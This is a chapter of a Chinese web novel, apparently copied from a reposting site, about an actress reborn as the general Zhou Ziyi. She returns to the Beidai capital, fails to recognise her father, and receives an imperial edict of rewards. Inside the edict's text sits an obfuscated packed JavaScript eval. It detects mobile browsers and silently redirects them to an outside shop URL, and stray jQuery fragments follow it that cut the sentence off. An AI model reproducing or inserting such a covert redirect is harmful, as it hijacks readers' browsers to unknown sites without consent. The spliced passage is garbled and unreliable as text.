影戈亮出行文,道:“当年您父皇在西域王落入危难之时伸出援手,西域王承诺日后必肝胆相照,特赠亲笔行文。平妃娘娘出嫁时,您父皇将此行文赠予平妃。西域虽鲜少参与内陆之事,既不通婚,也不开放来往贸易。可如今,我们只要拿着行文找到西域王,他一定会帮我们的!”
复世宇将水囊密封好,整理好思绪,虽内心依然踌躇,但很快就接受了现实,道:“动身吧。”
三日后,周子离一行人的车马终于到达北黛京城宫门外。
周子离坐马车都快坐吐了。天知道她有多怕马,之前在横店拍戏的时候经常遇到不听话的马,拉着她一跑就停不下来,对她造成的心理阴影面积不要太大。
商邪远远看见宫门外仪仗队整齐队列,粗略一数,惊觉至少上千人。他对着轿厢里喊道:“将军,我们到了!”
周子离放下放荡不羁的二郎腿,一个纵深跳下马车,嘴里兴高采烈道:“太好了!累死我了!这下终于能歇歇了!”她的眼睛从蔽光的轿厢内突兀暴露在顶阳之下,瞬间恍得她短暂失明。
“奏乐!”礼官眼疾嘴快,看见周子离落地的瞬间,朝着天空大喊指挥。
周子离挺为自己的莽撞感到后悔的,这阵仗,跟去海底捞过生日一样,哦不不不,还不一样,全国的海底捞都在这儿给自己过生日!
悠扬的奏乐声响起来,彩带在周子离眼睛跟前飘过来飘过去,还有舞女跳舞,小节目一个接一个,好不热闹。
齐刷刷的喊声响起:“恭迎周将军安然回城!恭迎周将军安然回城!”回声鸣奏连天。
陈宁和代柔星仅次礼官身后,站作一排,只是谁也不看谁,都恨不得用白眼白死对方。
他们都是被北黛皇帝陈瑜抓来表演欢迎回家的演员。
陈宁,年21岁,当朝北黛皇帝陈瑜之子,也是正式立储过的太子。陈宁受陈瑜指令,随周子离一同出兵南茗,大胜而归,攒下军功。他这个太子也被赞赏内外兼修,能文能武,不愧贵为太子,来来回回恭迎的大臣这几天已经数不清有多少轮。
陈宁有一双单眼皮,眉压眼,却不妨碍其表情放松的时候眼神轻挑,嘴角上扬,含笑非笑。
“南北之殇”,也就是北黛血洗南茗皇宫当晚,陈宁与周子离一同在场,不过并未打过照面。周子离负责带兵杀进内宫,陈宁带兵支援宫外。
灰黑月夜下,陈宁得到消息,皇宫内,周子离已手刃南茗皇帝复择允首级,北黛即刻收兵。收兵之后,按惯例,陈宁与周子离各管各的兵,分别找路回家,两不相干。
陈宁的兵当晚就马不停蹄赶回北黛,五日之后抵达京城。
陈宁和周子离关系一般,他并不知“南北之殇”当晚周子离重伤,也并不知周子离为何耽搁如此之久才回到京城。
说起关系一般,代柔星和陈宁的关系更是一般般。
代柔星,年19,当朝北黛皇后代文胞弟,虽自小在皇宫中长大,却不得触碰任何北黛要事,也不得从军,只得每日请先生进宫教授古文,代柔星至今还未在宫中谋得差事,闲散人一个。
今日,代柔星特意挑选上衣斜襟,深灰印花刺绣衣裳。北黛国衣裳颜色多以淡雅莫兰迪冷调为主,时髦度也与东线城不能相提并论。他的眼神如名一样柔,直鼻力挺,唇珠惹眼,束发高雅,亦如翩翩公子。
欢迎的奏乐响不完,顶着烈日被迫站在一起的陈宁,代柔星二人,眼底更加烦躁。
若不是周子离回城此等大事,他们二人万万不可能同框如此之久。两人迎面相撞都不会say个hello的。
周子离愣在这般连绵不绝的表演盛世当中怅然若失,要知道,大大小小的晚会她参加过不少,眼前的这些表演,怎能不让人触景生情?想家了!
商邪已整理好车马,带兵平排站立周子离身旁,她朝右侧转过头去,商邪朝她轻道:“欢迎回家。”
周子离本就酸楚的鼻头差点没哭出来。
周铭从欢迎队列里扒开所有人群,朝周子离扑过来。按理是无理的,可现下无一人上前阻拦。
周铭一个踉跄,抓着周子离的手,满眼担心道:“女儿啊!回来就好!”
周子离吓了一大跳,大叫一声:“啊!你是谁?”
身旁的商邪更是惊慌失措,他知周子离自战伤之后记忆受损,时而有些疯癫,却不知竟严重到连她自己的父亲都已忘记!
商邪匆忙帮助解释:“将军,这是您父亲!”
“父,父亲?”周子离不可思议。
周铭同样诧异,问道:“商邪,这是为何?”
纸包不住火,商邪只得老实交代:“大战过后,周将军便失忆了。”
周铭一个眼睛两个大:“啊?”
代柔星盘着手,二十米开外盯着周子离这边的动静,几个人叽叽喳喳不知在交流些什么。陈宁的眼睛早就飞走了,一会儿看看舞,一会儿发发呆,暗骂怎么还不结束。
流程不等人,周铭还没来得及细细关心,局官便抬着笑脸走近周子离,亮了亮圣旨,道:“将军,时候不早了,念完圣旨之后早些回去歇息吧!一路长途跋涉,想必早已力竭了!”
局官便是宫中皇帝身侧内官,可男可女,男不必净身。
周子离轻巧道:“念呗。”她转头问商邪:“要跪吗?”
商邪更轻巧:“不用啊。”
周子离:“哦。”
局官清清嗓,礼貌道:“那周将军,本官就开始了!”
周子离嘚瑟,给了个肯定的眼神。
局官播音腔顺势起范儿:“周子离,我北黛国当朝第一将军,年20,”
?多少?周子离听见这个数字,不敢相信地用右手拽住商邪的衣角,左手指指自己,窃窃私语,眉毛要抬到天上去,问道:“我?20?我20岁吗?”
商邪非常肯定:“是的,将军您今年20岁。”
O!M!G!
28岁的周子熙,一醒过来返老还童,变20岁?周子离嘴角有点压不住了!哈哈哈哈哈!
局官观察到周子离突然变脸,像疯了一般,顾不得那么多,赶紧念完圣旨下班,他接道:“战功赫赫,战无不胜,更是手刃妄图侵略我国贼人复择允首级,立一等功!
并散化二十一年来再度重现人间的冥气,拯救重伤士兵,功不可没!
故特赏黄金一千两,北币五十万,封地一百亩,扩充军队一千人。
赐皇上亲拟头衔‘铁煞将军’,连绵万年
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17728265|208905||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,钦此!”
代柔星和陈宁都惊呆了,他们两个性格不同的人难得五官表情一致,陈宁牙齿都要咬碎了,嫉妒得很。
代柔星蹙眉,终于对着陈宁开口说出今日两人间的第一句话,求证道:“子离,她散化了冥气?”
陈宁哼笑一声,还是不看代柔星,道:“是有哪段圣旨没说明白吗?”
看来就是了,陈宁一向不服周子离,如若不是事实,他一定会强词夺理,回击到底,默不作声,只怕是无话可说。
陈宁自不会承认自己的软弱,“南北之殇”当晚,陈家兵一度受冥气侵扰,如行尸走肉般相互残杀,危急之时,南茗宫中绿光锃然袭染夜空,冥气随风飘散,陈家兵才得以恢复正常。
除“南北之殇”亲历者外,无人知晓冥气已重现人间,又立刻消散。
就连陈宁安插在周家军里的眼线都承认,确确实实是周子离散化了冥气。皇帝陈瑜听此消息,更是喜上加喜,大赞周子离不愧为大师钦赐守护国运之人。
陈瑜不会放过此等机会,一定要大肆渲染,让全天下都了然我北黛国实力!
所有人都了解周子离散化了冥气的含金量,除了周子离自己。
局官嫣笑对周子离道:“铁煞将军,接旨吧!”
周子离举手,心里操心的是另外的事情,问道:“那个,我可以提要求吗?”
局官笑容顿住,定了定心神,道:“您说!”
周子离砸砸嘴,问道:“嗯~,我能挖个泳池吗?”
局官:“啊?铁煞将军莫要逗下官!”
周子离认真道:“真的啊!皇帝都给我那么多东西了,我再多要个泳池不过分吧!我也就好这点泳池了!不能不给吧?”
局官擦了把汗,道:“那个,那,下官去问问皇上?”
周子离点头:“对啊,你问问他,这样的话,我就更心甘情愿留在这里了!”
此话听着甚有叛国的意味!局官和商邪对了眼神。商邪连忙解释:“周将军太累了,犯了糊涂。”
局官理解:“是是是!我相信铁煞将军没有那个意思!”
商邪这才改口:“对!铁煞将军!”
周子离小脑袋官转的滋溜滋溜的,听起来,她在这儿好像大小成了一个富婆了?那如果还能有泳池作伴,那生活岂不是美滋滋?自己也能慢慢想回家的办法,不然在这儿的每一天都感觉煎熬无比!
局官匆忙将圣旨塞进周子离手里,道别道:“铁煞将军的嘱托,下官记住了,下官明日便通报皇上,那下官就先招呼他们撤了!”
不等周子离反应过来,局官回头就示意解散。
陈宁等这一分钟很久了,头也不回地进宫。
刚刚沸沸扬扬的人群,现在好像不认识周子离一样一拍而散,对比好不强烈。
代柔星悠然朝周子离走过来,主动关心道:“子离,还好吗?”
周子离正在研究手上的圣旨,薄薄的,也不重,用材一般般,跟她们拍戏时候的道具差远了。眼前突然被阴影笼罩,她顺着阴影的方向抬起头,只见一汪温润如清水的清眸居高临下裹着自己,她感觉对方至少有一米八五,看起来干干净净的,还挺帅的。
她错愕道:“你谁啊?”